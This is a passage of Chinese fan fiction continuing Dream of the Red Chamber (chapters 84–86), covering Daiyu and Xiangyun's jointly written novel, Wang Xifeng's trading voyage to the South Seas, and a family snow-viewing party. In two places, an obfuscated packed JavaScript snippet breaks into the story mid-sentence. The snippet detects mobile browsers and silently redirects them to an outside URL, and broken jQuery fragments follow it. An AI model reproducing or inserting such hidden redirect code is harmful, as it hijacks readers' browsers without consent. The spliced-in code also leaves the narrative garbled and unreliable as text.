“颦儿才不是那样的人,我是知道的。”宝钗本就紧挨着黛玉坐着,此时顺手将她揽到怀里,又对湘云道“快说吧,颦儿被我制住了,你无论说什么她都没办法了!”说罢,就感觉到黛玉挣扎着起身,宝钗就使了点力气,压着她双臂,还不忘摸了摸黛玉的脊背。 “林姐姐和我写的书终于写好了呢!”湘云便道。 “原来是这件事,我早就知道了,你们却还偷偷摸摸的。”宝钗故意叹了一口气。 黛玉却猛地起身问道“宝姐姐从何得知?” 84.天生我材必有用 宝钗看黛玉有些急了,忙解释道“我猜的,并没有谁告诉我,你怎么急成这样呢?” 黛玉却叹口气道“是我有些心惊了!”说罢,端起茶抿了一口。 “林姐姐,是不是屋里的丫鬟婆子们说什么不好的话了?”探春忙问道。 “她们那些人你又不是不知道?平日看到老太太偏疼哪个,总要在背后嚼舌根的!”湘云也很是不满,又道“林姐姐,是谁在背后说坏话了!我去为你出气!” “不要冲动”探春忙拉住湘云,劝道“若有下人乱说话,一会儿回了母亲,打发出去也就罢了,你闹什么脾气呢?” “不说这个了,不过是我一时想岔了”黛玉也不愿意为了自己让姐妹们不高兴,又对湘云道“你快将咱们俩的书详细说说!” 此时湘云的怒火也压了下来,就道“我也是看不惯嘛!” “我们都知道云姑娘侠肝义胆,古今多少豪杰都比不上你!”宝钗说着又拿起一块点心喂给湘云吃,又道“吃了点心总该开金口了!我可等了好久呢!” 湘云两口吃完点心,就笑道“那会儿还是秋天,林姐姐说她想写一个故事,问我愿不愿意和她一起写,我就有些奇怪问她,人家写诗写文的哪有两个人一起写的呢?” “从来没有,咱们今日便开个例。”黛玉笑道。 “林姐姐正是这样回答的。从那日起我们俩便一直在写这个故事···”湘云笑道。 “怪不得文苑这两期都不见你们的文章,原来是忙自己的事了呢!”探春指着湘云黛玉打趣道。 “没关系,反正现在外面人的文章多到审不过来,也不用她们俩帮忙。”宝钗道。 “我们写了两个月,现在终于完稿啦!”湘云说着就让丫鬟拿出了厚厚一沓稿纸。 “说了半天,却没有半个字提到你们写了什么?”探春说罢,就伸手接过了稿纸,与宝钗一同看了起来。 “你们边看,我边解释啊!怎么三妹妹也这样性急了?”湘云笑了笑,又道“我们写的是一个侠女的故事!” “光听这两个字就有趣的不得了!”探春边说话边看着手里的稿纸。 黛玉扯了扯湘云的袖子,催道“半天才说了几个字!就像你写不出故事时的样子,一上午只得了十几个字!” “好姐姐,不要揭我的短嘛!”湘云拱手笑道,看了黛玉神色忙又开始介绍故事“这个侠女出身平凡,父母早早亡故,她是被村里的一个老妈妈养大的。这个老妈妈也没有一个亲人,就与这小女孩相依为命···” “小女孩某一日突然遇到一个神秘的女侠客,这个侠客见女孩聪慧心善,就将自己毕生的武艺都传授给了她。历经十年寒暑,小女孩学成长大,励志要像师父一样,做一个惩恶扬善的侠女!”湘云说罢,笑着看向宝钗和探春。 谁知这二人都忙着看稿子,哪里顾得上点评? 湘云眼珠一转,和黛玉对视一眼,就夺走了探春手里的稿纸。 “啊呀!正看到精彩处,怎么抢去了!”探春忙伸手要抢。岂料湘云早就手举得老高,探春想要伸手去够,但只差一点。 探春无法,只好央求道“好姐姐,就给我看看吧!你们实在写得太好了!我们看得入神,竟忘了你还在说话呢!下次再不这样了。” 湘云被夸,自然高兴得很,可她刚略微将胳膊放低了,稿纸就被探春抢了去。 探春将稿纸拿到手就藏到身后,立刻下了地,还对湘云笑道“让我看完吧,好姐姐!” “三妹妹这样喜欢,你应该高兴,怎么还和她打闹起来了呢?”黛玉拉着湘云坐下。 湘云忽然噗嗤一笑,说道“我不过是故意逗她的,谁知道她那样着急呢?” “这样好的故事,实在让人搁不下手!”探春也不在意被打趣,就坐在桌旁看了起来。 “说真的,宝姐姐,你觉得写得怎么样呢?”黛玉晃了晃宝钗的手臂,问道。 “好极了!”探春以为又在问她,头也不抬地答了一句。 “谁问你了?你还是好好看书吧!”湘云指着探春笑道。 宝钗故意作思考状,好一会儿才说道“我以为嘛···” “哎呀!这样扭扭捏捏完全不是宝姐姐的性子,快不要卖关子了!”湘云也有些急了。 黛玉却不慌不忙,只是看着宝钗浅笑。 “我以为这好极了!从来没有在外面的书坊看到过这样的故事!况且写的还是一个女侠客,想必后面写到她长大后的经历,更要精彩呢!”宝钗毫不吝惜自己的赞美之词。 湘云忙晃着黛玉的手臂对她说道“林姐姐说得没错,果然宝姐姐这样喜欢呢!” 黛玉自信笑道“这点信心还是有的···” “你们写了这书,是想刊印出去售卖吗?”宝钗又问道。 黛玉点点头,说道“正是这样想的,所以才与宝姐姐商议。” “待我细细看过一遍再决定好吗?要刊印的话还要检查里面是不是一些不合适的···”宝钗解释道。 黛玉却很理解,说道“就按照常规出书的流程就好,宝姐姐不用刻意照顾我们。这已经是我和云妹妹改过三次的了,内容应当不会再有变动,宝姐姐可以以这个为最终本。” 湘云也道“这本书只有十几万字,还是简短了些。林姐姐说,若是喜欢的人多,我们再续写就是了。” “你们都是文苑的当家人,既然咱们有现成的作者,正好将文苑的印刷工坊扩大了,以后你们写的东西越来越多,咱们也不愁印不出来了!”宝钗笑道。 “正是这样!林姐姐以后定会成为一代文豪的!”湘云拍手笑道。 黛玉却戳了下湘云的鼻尖,打趣道“云丫头就是二代文豪了?” “我无所谓一代二代的,只要可以写文章,写出来有人看我就心满意足了!”湘云双手叉腰,又笑道。 “不止出书呢!以后将这故事排成戏也可以啊!”宝钗很快想到了这里。 “这更好了!逢年过节时,咱们就可以点几出自己写的戏了!老太太和太太们却不知情,实在太好玩了!”湘云忍不住开始想演戏的事了。 “八字还没一撇,就想到那么远了?”黛玉打趣湘云道。 “自然是要未雨绸缪的!依我说宝姐姐还应当多屯一些纸墨,万一咱们的书一出来,洛阳纸贵了,到时再急着去买就来不及了!”湘云又道。 “宝姐姐快把她拉回来吧!湘云的脑子已经跑远了,我可追不上了!”黛玉叹道。 此时却听得探春轻拍了一下桌子,口中念道“真难为她想的!怎么这样的绝境也有办法脱身!” “又疯了一个!”黛玉指着探春,实在忍不住,笑软在了宝钗怀里。 * 王熙凤既和宝钗议定了去南洋的事,就派人先出发探路,自己打算在金陵过了年再动身。 宝钗和王熙凤各出了两万两,算作是她们两个的产业。只是王熙凤出力更多,宝钗便要求分账时四六分比较合适。王熙凤虽然无所谓多少,只是既然合伙做生意,这些条款是应当有个书面证据的。 贾政从宝钗处得知了王熙凤的计划,他心里却有一个别的想法。就和王夫人去见了王熙凤,自己私下里和她说了情况,又嘱咐了一些事,将自己所知道当时的航线和南洋的情况都告诉了王熙凤。 尤觉得不够,贾政又好好盘算了一遍船只远航可能遇到的问题,还有当地人做生意的习惯,细细写到纸上交给了王熙凤。 “一定带几个咱们这里的厨子去,怕到了那边既吃不惯,还容易生病。”贾政也不忘叮嘱这些小事。 看王熙凤很认真地应了,又嘱咐道“我说的那件事也不强求。你若能遇到便留心打听打听,只是千万不要暴露自己的意图。这个我想你这样聪明,自然也不会有问题的。” 王熙凤却笑道“姑妈你看看,我去一趟南洋,姑父就有这么多话要说。若日后探春该出阁了,不知道姑父要说几车话呢!” “你姑父也是担心你走这么远的路,你可千万记在心里,时时谨慎才好···”王夫人自然也很不放心王熙凤,自己也开始叮嘱了。 贾政又嘱咐平儿道“你姑娘有时性子急,难免冲动易怒,你在身边时时记得提醒她···” 虽然这些话宝钗黛玉探春等人也都嘱咐过了,可是平儿也没有丝毫的不耐烦,都很认真地听了并记在了心里。 王熙凤心里还记挂着尤氏,又和贾政王夫人说了这事。 “我听说宁府里大哥哥闹了点事,只怕日后不好收场呢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221054|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贾政却道“迟早的事,只是不知道会是怎样的结果···” 王熙凤听了贾政的话,自然更是心惊,忙道“大嫂子也无依无靠的,我们俩好了一场,若真的出了事,我却顾不上看顾她,还想麻烦姑父和姑妈帮忙···” “本来就是应该的,你却当做一件事来说。”王夫人也道,她并没有听懂贾政说的事是否严重,只以为王熙凤是让她平日里照看尤氏罢了。 贾政也不解释,笑道“也多亏她常过来陪着老太太和你姑妈。你不要担心她,有我们在呢!” 王熙凤了了这件心事,更放了心。又与尤氏见了一面,仔细叮嘱过了,才放心启程。 晴雯自从离开荣府,宝钗等姐妹怜她无处可去,便留她在这里办事,帮忙在家里做针线活。 可巧王熙凤在薛姨妈处遇到了正做针线的晴雯,很是喜欢晴雯简单爽利的性子。正愁手下这样性格的人太少,有意想招揽她,就和薛姨妈宝钗说了这事。 她们姑母侄女关系本就亲密,薛姨妈自然没有不答应的,问过晴雯,晴雯素日知道王熙凤的性子,也愿意在她手下服侍。 王熙凤便得了晴雯这样得用的丫鬟,此次去南洋,自然要带着她,也可以让她学一些各地不同的绣活儿。 冬月中旬,王熙凤就回了金陵,怕路上下雪耽误了回家。幸而一路顺利回到了金陵家里。 顺便将薛姨妈和宝钗托她带给薛蟠的东西吩咐人送了过去。 她还没有与父母商议自己去南洋的事。如今万事俱备,也就放心告诉了父母。 王子安夫妇心里纵然不同意,可哪次能拗得过女儿呢?既然她想海阔天空去闯荡,父母也只能做好后盾。 年刚过,王熙凤就收到了之前派出去的管事的信件。从广州出发,船行两个多月,他们已经到了孟买!万幸一路上并没有遇到巨浪,一切顺利,已经在孟买安置了下来,也和当地的几家商户牵上了线。 王熙凤喜从心来,忍不住在屋里开始踱步思考。 平儿笑道“姑娘这样高兴,肯定是好消息了!” 王熙凤走到平儿身边,双手扶住她双臂,笑道“真没想到这样顺利!我还以为总要有些波折呢!” “姑娘还是冷静些,谨慎点总没错的。”平儿劝道。 “我不过是一时高兴罢了,哪里就不谨慎了?”王熙凤笑骂道。 平儿自然知道王熙凤没有生气,却不忘时时提醒她,又道“海上行船,时间不同,遇到的风向也不同,希望咱们到时候也能一帆风顺吧!” “你啊!总不忘提醒我!有你跟在身边不知道多么聒噪呢!”王熙凤笑着在平儿鼻尖轻点了一下。 “姑娘是嫌我烦了吗?”平儿笑问道,又拈了一瓣橘子喂给王熙凤。 王熙凤咬破了橘子,故意让汁水溅出一点点,笑对平儿说“你觉得南洋也有这样好吃的橘子嘛?” 平儿摇头道“有没有橘子我不知道,只是肯定有许多咱们见都没见过的物产,什么木菠萝,番石榴···” “你知道的这么多,我这次全倚仗着你呢!拉拢你还怕拉拢不过来,哪里敢嫌你烦呢?”王熙凤笑着也喂了一瓣橘子给平儿。 “姑娘若嫌我烦,我也只好乖乖闭上嘴巴,一个字也不说了。”平儿说罢,果真静静坐了下来,拿起了王熙凤看罢的书信看了一会儿。 “不过是玩笑话,哪里值得你这样生气了呢?我看你现在的脾气也是越来越大了!”王熙凤又戳了下平儿的额头,看她没有反应,便趴在平儿肩头,对她说道“平儿,咱们如果安全到了南洋,你说,要不要顺道去一趟西洋呢?”边说话边一只手盘着平儿的发辫转来转去。 “姑娘,你···”平儿听罢却猛地回头,王熙凤没来得及松手,如此便扯痛了平儿。 “怎么样,疼不疼?是我的错,不该这样玩的,快让我看看!”王熙凤说着话就双手抱着平儿的头,要看她有没有事。 平儿拉住了王熙凤的手,轻笑道“姑娘去哪里,我就去哪里,只是有一点,姑娘再不要嫌弃我话多了···” “怎么还说这个?我不过是开玩笑的,你不要放在心上,我再也不说了。”王熙凤说道。 又看着平儿笑道“我哪会嫌弃你呢?我永远也离不开你的···” 85.万树梅花月满天 送王熙凤离开京城后,宝钗和探春都忙着各自的家务事。湘云被接回了史家,预备着年后搬回金陵。宝玉忙着读书做学问,迎春和惜春跟着先生学画画。 只有黛玉闲着无事做,她便常去薛姨妈处,和英莲凑在一起读书作诗。 年关将近,林如海也接黛玉回自己家了。贾母虽不舍得黛玉走,但林如海再三说明正月里一定会将黛玉送回来,贾母这才放了心。 往日里还有宝玉黛玉湘云在她跟前逗趣,如今宝玉没空,湘云回了家,就剩了一个黛玉也要回家,实在怨不得贾母心里空虚。 无论多么想制造出热闹欢腾的过年气氛,贾母却越来越觉得,再也回不到过去那样的热闹了。 贾政和王夫人以及三春姐妹都尽量想让贾母开心些,贾母也只好强颜欢笑。幸好还有薛姨妈一家一起陪着,才显得热闹一点了。 过了新年,正月里又是各处亲友来拜访。其中地位尊崇的人,贾母也要亲自接待。 那日,南安太妃和北静王妃都来贾府略坐了坐。往年她们断不会亲自拜访,据贾母所想,应该是看到贾政这几年屡屡被皇帝看中,因此他们几家也都以为应当重视些,所以才来走动。 南安太妃又说贾家的姑娘都极好,就想看一看。正好林如海带着黛玉也来拜访,贾母便吩咐人将黛玉探春宝钗都叫来。迎春行动不便,惜春年纪小,贾母就没让她们两个过来。 前几年贾母寿辰时,南安太妃也曾见过宝玉和探春,只是又过了这几年,没想到探春更出色了,黛玉和宝钗两姐妹也是沉稳大方,温和娴静的。 闲话几句,又赏了礼物后,三个孩子便先离开了。 而南安太妃却有了别的心思。 她看着贾母,笑问道“不知几位姑娘可都相看好了人家?” 南安太妃此话却戳中了贾母的心事,让她联想到迎春的事,虽心里不太情愿,但面上不显,笑答到“她们年纪还小呢,还没有考虑这个。 ” “这么好的姑娘,趁早相看几个好人家,也是好的!”南安太妃说罢,就喝了口茶。 北静王妃不过二十多岁年纪,此时也附和道“前几日倒见过几家公子,十五六岁的年纪,也是品貌不俗,堪称青年才俊呢!” 王夫人一直注意着贾母的神情,此时见贾母无意附和,她就补充了一句“太妃和王妃有所不知,这几个姑娘自小体弱多病,她们也都是一处长大的,三个人吃的药一年四季都不曾断过,如今年纪还小,老太太心疼,就想着多留几年呢!” “正是这样。”贾母也笑着点头,很是赞同王夫人的说法。 虽这样明摆着拒绝了南安太妃和北静王妃,但为了孩子们,也少不得表明态度了。贾母无心靠着姑娘们攀附权势,这大约也是迎春的事让她得到最深刻的感受吧。 南安太妃也没有不悦,点头笑说“也是这样道理,咱们这样人家的姑娘当然不愁出嫁了,不如多留几年,全家团聚,也是好的。” “老太太心疼孙女们,自然要多为她们想了!”北静王妃又道“只是日后要看人家,我可是自愿做个媒人的!” 贾母和王夫人听了,自然面上更要感谢她们的理解和体谅。 邢夫人虽一直在旁陪着,只是想到迎春不得来,自己也插不上话,心里竟然也有些无趣,就只是陪着吃茶看戏罢了。 心里也不由得遗憾,自己嫁到贾家多年,也没有个一儿半女,不然此刻,也该考虑孩子们的亲事了。如今已五十岁的人了,身边也没个知冷知热的。嫡子贾琏和她不亲,迎春虽尊敬她,但她自己又看不上迎春。况且丈夫贾赦又是那么个人,自己更没意思了。 想到这里,邢夫人不禁多喝了几杯酒,待送走南安太妃和北静王妃后,邢夫人面色微红,已有三分醉意了。 贾母累了,便无意再会宾客,回去歇着了。邢夫人看着王夫人独自应付着宾客,难得主动陪着一起应酬。席散后,二人还一同去看了迎春。 正月里王夫人和李纨都忙着应酬,家务事只能都交给探春。幸而她一年多锻炼下来,已经很是得心应手,虽然累一点,但并没有半分疏漏,反而较之平日,下人们行事更谨慎小心。 * 初八日中午天阴沉沉的,到了傍晚就开始下雪。 探春晚上还要向王夫人汇报一天的大小事务。当晚贾政自然也在,他又将宝玉和贾珠李纨贾兰都叫了过来,一家三代人难得这样团聚。没有任何杂事干扰,也没有需要谨慎的地方,发自内心的平静放松。 至亲血缘的关系就是无需做任何额外的事,自然相处,就足够亲密。 地下一盆炭火热烘烘的,炕上贾政贾珠宝玉父子三个坐在一处,讨论着宝玉读书的事。探春像小时候那样窝在王夫人怀里,李纨抱着贾兰,逗他说话。 连探春这样冷静自持的人,都不禁觉得心里暖融融的,平淡的喜悦快要溢出来,她舒服得眯着眼睛。王夫人一下下抚摸着她的后背,像抚摸一只橘猫。 探春忽然感到有人拽她的发辫,一睁眼就看到贾兰圆嘟嘟的脸蛋离她极近,很快地在她脸上亲了一下,又嘻嘻笑了起来。 “这么小,就这么调皮了吗?”王夫人摸了摸贾兰的头,语气中满是对小孙子的喜爱。 贾兰不过三岁多点儿,话都说不清楚,长相又极可爱,俨然是小时候的宝玉。 王夫人虽心里喜爱贾兰,却是让李纨自己抚养的,平日也很少插手管教。因为她心里知道长子对母亲的重要性,自己不能也不应该剥夺儿媳妇的天性。 探春起身抱着贾兰,拿了一块点心逗他玩。旁边的宝玉看到了,就笑着指着探春,刚想开口打趣一句,立刻觉得不妥,就没说话了。 “瞧你那样,肯定嘴里没什么好话!”王夫人看到宝玉欲言又止的样子,首先出言笑他。 宝玉心里知道刚才想说的话极不妥当,也不出言辩解,有些尴尬地皱了皱鼻子。 “二月份你打算先去考一次试试吗?”贾珠笑问宝玉。 贾政也含笑看着宝玉。 宝玉认真地点点头,说道“我入学虽早,却一直懒怠考试,如今理应当抓紧时间才对。就算侥幸过了这三场,以后要走的路还长着呢!更不应该轻易放弃!” 王夫人难得见宝玉这样知道上进,高兴地红了眼眶,口中只念道“我的儿,你终于长大了···”说罢,眼泪却掉了下来。 探春见状,忙和李纨一起安慰王夫人,捡一些夸奖宝玉的话来说。 贾政其实并无所谓宝玉能不能考的中,但宝玉如今有这样的志气和决心却让他尤为惊喜,就拍了拍宝玉肩膀笑道“不论考中与否,重要的是学习与磨练心志。” 贾珠听了,便细细说了一些自己当年考试的经验,又叮嘱了许多小事。宝玉认真读书也才三个多月,贾珠并不抱多少希望,这次考试只当做为宝玉积累经验了。 “宝玉不过说那么一句话,也值得夫人流眼泪吗?”贾政起身坐到了王夫人旁边,故意又来逗她。 岂料王夫人却很认真说道“我哪里不知道宝玉的性子?他往日一说起读书就万分痛苦,如今却主动要读书,要考试,我只当是祖先显灵,让宝玉变了性子,这样懂事岂不是好事吗?老爷却来打趣我。” 贾政却道“焉知他是不是又三天打鱼两天晒网呢?也许考了一次没有中就要放弃了···”声音很低,贾政也不想让宝玉听见。贾政之所以这样说,也是不想让王夫人期望太高,到时候又太失望,反而落差太大。 “不论如何,既然有了这份心,日后总是不一样的。”王夫人依然神情认真。 “也许二哥哥果真是变了性子了,父亲莫要轻看他呢!”探春也低声道。 “你这孩子!总是站在你母亲那边!”贾政笑了笑,又道“我以后再也不泼冷水了,也与你们站到一处好不好呢?” 说罢,贾政果真又对宝玉道“你若中了秀才,我许你一个要求,如何呢?” “父亲,任何事都可以吗?”宝玉也笑道。 “任何事,任何东西,只要我有的,当然可以。”贾政很是豪气地开口。 “那就多谢父亲了!”宝玉起身,对贾政行了礼。 “一会儿这样一会儿那样,老爷的性子变得可真快!”王夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227157|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也忍不住打趣贾政。 贾政却道“我怕若不这样,你和探春心里都要怨我了···” “哪有?父亲错怪人了!”探春很是不服。 “你是嫉妒宝玉了吗?不如我也许你一件事如何?”贾政又对探春道。 “我又不去考试,有什么可奖赏的呢?”探春笑道。 贾政却故作神秘道“天机不可泄露,到时你就知道了!”探春被激起了好奇心,可是贾政却拿了块点心吃,绝不开口。 “母亲,你看父亲又欺负我!”探春无法,只好对王夫人撒娇。 “我的儿,老爷若到时候不践行诺言,我自然要为你讨公道的!”王夫人也附和着探春。 “正是这样,有你母亲做保障,你们两个都应该相信我了吧!”贾政说着看向了宝玉和探春。 岂料这姐妹俩早已凑到一处说小话去了。贾政就只有摇头笑笑,又想起一件事,他看了眼王夫人。王夫人正和李纨一起逗贾兰玩,贾政话到嘴边,却不好开口了。 * 一家人聊到很晚才各自回了屋子休息。探春回到院子时,四处没有一点声音,迎春和惜春也都歇息了。黛玉今晚在宝钗处,也没有回来。 月光照得极亮,不需要灯笼就看得清楚。探春看着茫茫一片白雪覆盖了荣国府,突然生出一种奇异的不安分的想法。 她对侍书轻笑道“咱们一起去个地方。” * 次日一早,黛玉刚穿好衣服,就听到紫鹃在外间说道“哪里来的梅花?开得这样好?” 黛玉立刻对还在梳妆的宝钗笑说“宝姐姐,你吩咐人去折来的梅花吗?” 宝钗从镜子里看到黛玉对她笑,也没有回头,就答道“你一直在我跟前,哪里看到我吩咐人去折花了?” 说话间紫鹃就抱着一大瓶梅花走了进来,还递给黛玉一张花笺,笑道“原来是三姑娘一早吩咐人送来的,还有这一张花笺呢!” 黛玉就接过细细看了,读完只顾着自己在那里赏花,也不告诉宝钗探春写了些什么。 “这么一大支梅花,又这样新鲜,不知道探春是一早去折的呢?还是昨晚赏雪景迷了路,误入梅园了?”宝钗梳妆罢了,也凑过来看梅花,却不主动要看花笺。 “就说宝姐姐猜得准呢!你看!”黛玉也忍不住,就笑着将花笺递给宝钗。 “她说昨晚本来想约咱们俩去赏花,可是那会儿太晚了,又不好惊动姨妈,就自己一个人在院子里赏花,还独自吃酒吟诗了呢!今日一早又折了花送给咱们。”黛玉笑说“三妹妹昨晚还收集了梅花上的雪,说今日约咱们去烹茶赏雪呢!” “她倒是风雅!”宝钗看完,也笑道。 * 待宝钗和黛玉到了探春所说的湖心凉亭时,探春宝玉迎春惜春也都在了。这处凉亭在荣府花园里的湖心建着,推开窗可观水,远眺可看山。 此时白雪覆盖了湖泊,以及花园的数株梅花树,黛玉经过时也不由得多看了一会儿梅花。宝钗怕她着凉,却不催促,只是将暖炉递给她,又将她的披风拢好。 “快进来吧!一会儿雪花要将你们两个都盖住了!”宝玉朝着她们喊道。 黛玉这才回神。 “走吧,进去看看她们做什么呢?”宝钗轻轻挽着黛玉的手臂,二人一同走进了亭子。 探春一早就吩咐人将这处打扫干净,虽然没有地炕,但是围坐在火盆旁,也不觉得很冷。 此时迎春坐在桌边和惜春画画,黛玉凑过去一看,果然是画这雪景。探春忙着让人摆果盘,烧水煮茶,生炉子热酒。 黛玉也坐在了窗边,同宝玉一起看雪。宝钗是个闲不住的,就和探春一起忙活起来。 “你们好好赏景,一会儿就该作诗了呢!”探春笑道。 探春说罢就看到宝钗含笑看着她,正觉得奇怪时,宝钗向她身后指了指,探春一回头,就看到远处贾母王夫人和薛姨妈也走了过来,身后跟着英莲鸳鸯袭人等人。 “三丫头只记得叫人送梅花来,却忘了也叫我们几个老的一同来赏雪呢?”贾母人还没到,就对探春笑道。 86.赏雪烹茶冰渐沸 贾母说罢,她身边打着伞的鸳鸯就笑道“老太太还说怎么今早姑娘们那么着急,原来是有事要忙呢!” “我让人带了一块鹿肉过来,你们边吃边玩,岂不有意思?”王夫人笑道。 “只是这四处临水,也没有火炕,怕老太太冷呢!”探春和鸳鸯搀着贾母坐到了火盆边,探春仍有些担忧贾母受凉。 “不妨事,我略坐一坐就走了,也怕有我们在,你们玩不痛快!”贾母笑道。 “我们要请老太太还怕请不来呢!”宝钗也凑趣道。 黛玉已亲自端来刚泡好的茶,分别奉予了贾母王夫人薛姨妈,又说道“泡茶的水是三妹妹今早从梅树上收来的雪,老太太,太太,姨妈快尝尝有什么不同吗?” “三丫头倒是风雅,会摆弄这些!”贾母喝了一口,又赞探春道。 宝玉也赞道“她吩咐人送来的梅花也是插好瓶的,那花瓶也与红梅很是相称呢!” “快不要再夸了,你们看,探春的脸都快和梅花一样红了!”黛玉扶着探春肩膀,故意逗她。 此时惜春将画笔搁下,笑道“老太太,您看看我和二姐姐画得好不好?”说着话就捧了画纸拿到了贾母面前,王夫人和薛姨妈也凑过来看。 迎春仍坐在桌前,脸上带着笑。 “学了才半年,就画得这样好!四丫头也是个有天赋的呢!”贾母笑着又将惜春揽到怀里。 探春看了却道“她只记得画树下的宝姐姐和林姐姐,真是偏心呢!” “我又没看到你也站在树下,没见过的让我怎么画吗?”惜春说罢,还撅着嘴,像有些不满。 “不如一会儿让她再画一幅,将屋里这些人都画进去,如何呢?”迎春笑道。 “这样才好!你快画吧,我连题跋都有了,就叫做湖心赏雪图!”黛玉拍手笑道。 贾母也来了兴致,也道“把这亭子,满园的雪,梅花,还有咱们这些人都画上,就像行乐那样才好呢!” 岂料惜春却皱了眉头,遥遥看着迎春,眨巴着眼睛。 迎春忍不住低头笑了,又道“只怕四妹妹心里为难呢?” 贾母却一只手在惜春脸颊捏了一下,逗她道“怕什么,自然还可以慢慢学的。学一点,画一点,等到明年,这画自然就成了!” “老太太都说得这么宽松了,你还担心什么呢?”探春将惜春拉起来,又在她鼻尖刮了一下。 惜春这才笑出声,羞涩道“我自然要更加用功去学的,等到明年,老太太想要什么画,我都能画得!” “也是个有志气的好孩子!”王夫人也笑赞道。 薛姨妈却对宝钗说“你也应该少看些账篇子,与姐妹们多玩玩笑笑,作诗下棋画画弹琴才有趣呢!”这话分明是心疼宝钗平日里为家务事忙碌,实在太辛苦了。 宝钗正要回答时,黛玉却抢先道“有了姨妈这句话,下次我们再叫宝姐姐去玩的时候,她断不能拒绝的了!”说话时还扶着宝钗肩膀,一下下晃她。即使被宝钗拍了手背,黛玉也不想轻易饶了她。 宝玉以前最喜欢与姐妹们说笑,自从发愤读书后,那种轻浮玩乐的性子也改了不少。如今只是看着姐妹们说笑,也不怎么插话,又坐在迎春旁陪着她。 “三姐姐,这茶水里怎么有奇怪的东西?”惜春端起茶,刚喝了一口,就对探春道。 探春也很奇怪,就凑过去看,猛然觉得耳畔闪过一道影子,惜春和黛玉在旁边嘻嘻笑着。宝钗拿了镜子给她看,探春这才知道惜春在她鬓边簪了一枝梅花。三寸长的一小枝,探春却依稀可以闻到香味。 “发间一枝红梅,越发衬得三妹妹雪白的脸,靛青的头发了!”黛玉用帕子捂嘴笑道。 贾母王夫人薛姨妈都满含笑意地看着她们姐妹几个玩笑,此时李纨也捧了一个漆盘,里面许多梅花,拿来给贾母她们戴着玩。 探春和黛玉各拿了几枝花,去打扮宝玉和迎春了。 “二哥哥,你今日簪了这梅花,来日可定要金榜题名才好呢!”探春在宝玉腰间别了一枝梅花,又在他鬓边别了一枝。 迎春也对宝玉说道“也希望你可以得个好名次。”黛玉只是笑着给迎春簪花,也没有叮嘱宝玉什么。 宝玉却像骑着马那样,走到当中,先是向众人都拱手行了礼,又大声道“春风得意马蹄疾,一日看尽长安花。”说罢,还煞有介事地扶了扶并不存在的帽子。 * 大正月里,贾琏像往年那样到处吃酒玩乐,又总是和贾珍混在一起,兄弟俩互相陪伴,更是玩得不亦乐乎。 只是从小花枝巷传来的消息,让贾琏瞬间清醒,终于回了家。 贾琏掀起帘子进了屋,就看到张雪月坐在窗前,像无数个等他回来的晚上那样,在床边榻上等着。 只是她近来越发瘦了,在贾琏看来,却意外的更像是扬州那些窈窕纤细病弱西子的姑娘。 贾琏堆满了笑,紧挨着张雪月坐了下来,又拈了她的头发玩。 “出什么事了吗?”贾琏柔声问道。 “哥哥说有事找你,却一直没见到你的回信,才托我告诉你一声。”张雪月轻声道。 “这几日应酬太忙,明日我一定记得去一趟。”贾琏笑道。 “有事想和你说···”张雪月有些犹豫,又轻声道“我好像···” 贾琏看到张雪月似有羞涩之意,忙问道“是不是有喜了?” 张雪月微不可查的点点头,这才说道“月信已有两个月没来了,我这才找了大夫问的···” “大夫怎么说?”贾琏握住她双臂,追问道。 “大夫说已经有两个月了···”张雪月低了头,再没说下去。 贾琏只顾上自己高兴,用力将张雪月搂在怀里,不停地抚摸她后背,柔情蜜意道“只待今年三月里国孝过了,就将你接回府里,到时咱们的儿子也是正大光明的了!” “到时月份不对,又如何说呢?”张雪月却担忧道。 “不妨事的,随便找个理由搪塞过去就罢了。况且老爷也知道了,只要老太太不说什么,也没什么好担心的!”贾琏说罢,就将手放到张雪月小腹上,不停摸着。 张雪月仍很忧愁,她叹道“只怕到时又有别处的麻烦事呢?” “怎么今日这样愁苦呢?我都说了不妨事,你白担心什么?”贾琏尽量安慰张雪月,为的也是她腹中的孩子。 张雪月叹口气,又道“明日记得去哥哥那里看看···” 贾琏再没说话,忙着去找大夫去了。他还是要再确认清楚。 * 次日,贾琏果真信守诺言,去了张家。 可没想到他一进门,张济世就迎了上来,满是愁容。 贾琏却打趣道“大正月的,大哥有什么事可发愁的?” 张济世也没绕弯子,直接到“你之前给我找的那个差事,又被内务府的给了别人了···” “这才急着找你商议商议···”张济世陪着笑脸。他本以为这半年多来自己已经和内务府的人混的很熟了,钱是没少送的,没想到他们却翻脸不认人。 贾琏沉思片刻才道“大哥别急,不过是小事一桩,我自有办法。”说罢,喝了口茶,勉强自己冷静下来。 张济世也不好直接问贾琏想到了什么办法,只以为像贾琏这样的家世,自然和权贵们关系匪浅,也许随便找人传个话,就能将这事轻松解决了。况且贾琏也说是小事罢了,想到这里,他自己也放了心。 贾琏不忘告诉张济世,张雪月怀孕的消息。张济世忙让自己妻子打点东西,带了丫鬟婆子要去看张雪月,同时叮嘱她一些事情。 贾琏心事重重地与他们回了家。到家后见张家人热热闹闹的,自己也懒得陪同,就去了宁府找贾珍去了。 谁知贾珍这里正在等他。贾珍一见到贾琏,就将他拉到书房,神秘兮兮地递了一封信给他。 贾琏看罢,只顾呆坐,完全无暇去想其他事情。 